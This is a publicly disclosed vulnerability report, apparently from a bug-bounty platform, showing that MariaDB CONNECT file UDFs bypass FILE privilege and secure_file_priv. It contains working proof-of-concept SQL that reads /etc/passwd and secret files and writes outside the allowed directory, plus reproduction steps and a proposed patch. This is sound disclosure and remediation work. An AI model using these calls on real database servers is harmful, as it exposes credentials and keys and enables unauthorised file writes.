HexBrain

MariaDB · Report #3836021

Missing FILE-privilege enforcement in CONNECT file UDFs allows server-side file read and write

Validstatus
highseverity
14upvotes
7 Oct 2026disclosed

How it was found

Summary

  • What the bug lets you do. With only SELECT privilege, read any file MariaDB can read (for example /etc/passwd, my.cnf, TLS private keys) and write files as the mysql OS user anywhere the process can write.
  • Why that should not work. Reading files from SQL normally requires the FILE privilege, and file paths are confined to secure_file_priv.
  • What is missing. CONNECT's file UDFs (json_file, bson_file, jfile_make, bfile_make, jbin_file) check neither FILE nor secure_file_priv.
  • How we know it is a mistake, not a design choice. The same CONNECT engine already enforces both checks on its file-backed tables (ha_connect.cc:4538/4557/4559). Only the UDF entry points were left ungated.
  • Where it was reproduced. MariaDB 12.3.2 GA (current Stable, what mariadb:latest pulls); the cited files are byte-identical on mariadb-13.0.1-rc and on main.

The attack

Setup. The server is started with --secure-file-priv=/tmp, so file access is meant to be confined to /tmp. User plain has SELECT on one schema and no FILE.

Step 1 — the normal way is blocked, as expected:

SELECT LOAD_FILE('/tmp/secret.json');   -- NULL: plain has no FILE privilege
SELECT LOAD_FILE('/etc/passwd');        -- NULL: outside secure_file_priv (even a FILE user is blocked here)

Step 2 — the same user reads any file via the CONNECT UDF:

SELECT json_file('/etc/passwd');
-- returns: root:x:0:0:root:/root:/bin/bash ...

SELECT json_file('/tmp/secret.json');
-- returns: {"connect-udf-lab-secret":"..."}

Step 3 — the same user writes a file outside secure_file_priv, as the mysql OS user:

SELECT jfile_make('{"written":"plain-user"}',
                  '/var/lib/mysql/connect_udf_written.json', 0);
-- creates the file (outside /tmp), owned mysql:mysql

Net effect. FILE and secure_file_priv become unenforceable against any user who can call these UDFs.

Details

  1. The CONNECT table handler already gates file access with FILE and secure_file_priv; the file UDFs bypass both.

    • storage/connect/ha_connect.cc guards FILE_NAME table options at:
      • :4538 is_secure_file_path(path)
      • :4557 and :4559 check_global_access(thd, FILE_ACL)
    • The file UDFs open paths through the same engine with neither check.
    • The table handler already enforces both — the check exists, it just wasn't wired into the UDFs.
  2. Read sinks in the UDFs reach the filesystem without any privilege gate.

    • json_file read (jsonudf.cpp:1587 GetFileLength, :1904 GetJsonFile), reached from the UDF body at :1636 and :1690.
    • bson_file read (bsonudf.cpp:4422 bson_file_init → :4450 GetFileLength(args->args[0]); :4517 GetJsonFile).
    • jbin_file read (jsonudf.cpp:5763 jbin_file_init → :5789 GetFileLength(args->args[0])).
    • No call to check_global_access(thd, FILE_ACL) or is_secure_file_path() precedes any of them. Confirmed by grep -niE 'FILE_ACL|is_secure_file_path|secure_file_priv|check_global_access' jsonudf.cpp bsonudf.cpp returning zero hits.
  3. Write sinks in jfile_make and bfile_make serialize to caller-supplied paths with the same gap.

  4. The write primitive does not reach OS code execution on a standard installation.

    • Writing into plugin_dir fails on OS permissions (mysql does not own plugin_dir).
    • The UDF loader rejects path separators and resolves only basenames from plugin_dir.
    • Impact is file read and write, not RCE.

Triage note — CVE-2024-27766 distinction

MariaDB disputed CVE-2024-27766 on the grounds that "no privilege boundary is crossed" and "registration is an admin act." This finding is different on both points:

  • CVE-2024-27766 required FILE privilege plus write access to plugin_dir. This finding bypasses FILE entirely — the attacker needs only SELECT.
  • CVE-2024-27766 did not implicate secure_file_priv. This finding defeats secure_file_priv that the same CONNECT engine enforces on its own table path (ha_connect.cc:4538/4557/4559). The admin registered UDFs that discard a control the engine itself treats as mandatory elsewhere.

The asymmetry is the bug. An admin registering the UDFs as file-access helpers could reasonably expect them to respect the same FILE and secure_file_priv policy the engine applies to file-backed tables. They don't.

Patches

  1. Apply CONNECT's existing table-path policy to all file UDFs — require FILE and enforce secure_file_priv before opening or writing any path. This covers json_file, bson_file, jfile_make, bfile_make, and jbin_file, and any future _file-variant UDF.
// Add to each file-UDF *_init function, before GetFileLength / GetJsonFile / Serialize:
THD *thd = current_thd;
if (check_global_access(thd, FILE_ACL)) {
    strcpy(message, "FILE privilege required");
    return 1;
}
char real_path[FN_REFLEN];
// Canonicalize first so ../sequences don't bypass the check below:
my_realpath(real_path, args->args[0], MYF(0));
if (!is_secure_file_path(real_path)) {
    strcpy(message, "path outside secure_file_priv");
    return 1;
}

Note: is_secure_file_path is currently a file-static helper in ha_connect.cc. The cleanest fix moves it (or a minimal equivalent using opt_secure_file_priv from mysqld.h) to a shared header so all UDF init functions can call it without duplication. This is consistent with what MDEV-13353 did for additional table types.

  1. Document that these UDFs read and write server-side files, so operators know registering them requires FILE-equivalent trust — it should be stated explicitly in the CONNECT KB page for json_file and jfile_make.

Reproduction

  1. Start MariaDB 12.3.2 with --secure-file-priv=/tmp (pass it as a mysqld command-line flag, e.g. docker run mariadb:12.3.2 --secure-file-priv=/tmp).

    Install the CONNECT plugin package on the server host — apt-get update && apt-get install -y mariadb-plugin-connect (Debian/Ubuntu) or mariadb-connect-engine (RHEL/Rocky). The apt-get update is required on the official mariadb: Docker image, which ships with a stale apt cache. The SQL INSTALL SONAME 'ha_connect' in step 2 loads the plugin from that package; both steps are required.

  2. As a DBA account, load and register the UDFs:

INSTALL SONAME 'ha_connect';

CREATE FUNCTION json_file  RETURNS STRING  SONAME 'ha_connect.so';
CREATE FUNCTION jfile_make RETURNS STRING  SONAME 'ha_connect.so';
  1. Create a low-privilege test account and a target file:
CREATE DATABASE testdb;
CREATE USER 'plain'@'%' IDENTIFIED BY 'test';
GRANT SELECT ON testdb.* TO 'plain'@'%';
-- 'plain' has USAGE + SELECT only; no FILE.
echo '{"connect-udf-lab-secret":"topsecret"}' > /tmp/secret.json
  1. As plain, verify the built-in path is blocked:
SELECT LOAD_FILE('/tmp/secret.json') IS NULL AS load_file_denied;
-- expect: 1 (NULL — plain lacks FILE)
  1. As plain, call the UDF read path:
SELECT json_file('/etc/passwd');         -- expect: `root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...` (returned as one backslash-escaped string; non-JSON input is not rejected)
SELECT json_file('/tmp/secret.json');    -- expect: {"connect-udf-lab-secret":"topsecret"}
  1. As plain, call the UDF write path (the UDF returns the path string on success — no row count, no boolean; verify via ls afterwards):
SELECT jfile_make('{"written":"plain-user"}',
                  '/var/lib/mysql/connect_udf_written.json', 0);
-- returns: /var/lib/mysql/connect_udf_written.json
ls -la /var/lib/mysql/connect_udf_written.json
# expect: -rw-rw---- mysql mysql 25 ... (file exists outside /tmp)
cat /var/lib/mysql/connect_udf_written.json
# expect: {"written":"plain-user"}

Impact

  • Confidentiality: read any file the server process can access — credentials in config files, TLS private keys, system files (#2).
  • Integrity: write attacker-controlled JSON to any path mysql can write, outside secure_file_priv (#3).
  • Bypasses the FILE privilege and secure_file_priv boundary that confines SQL file access (#3).

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original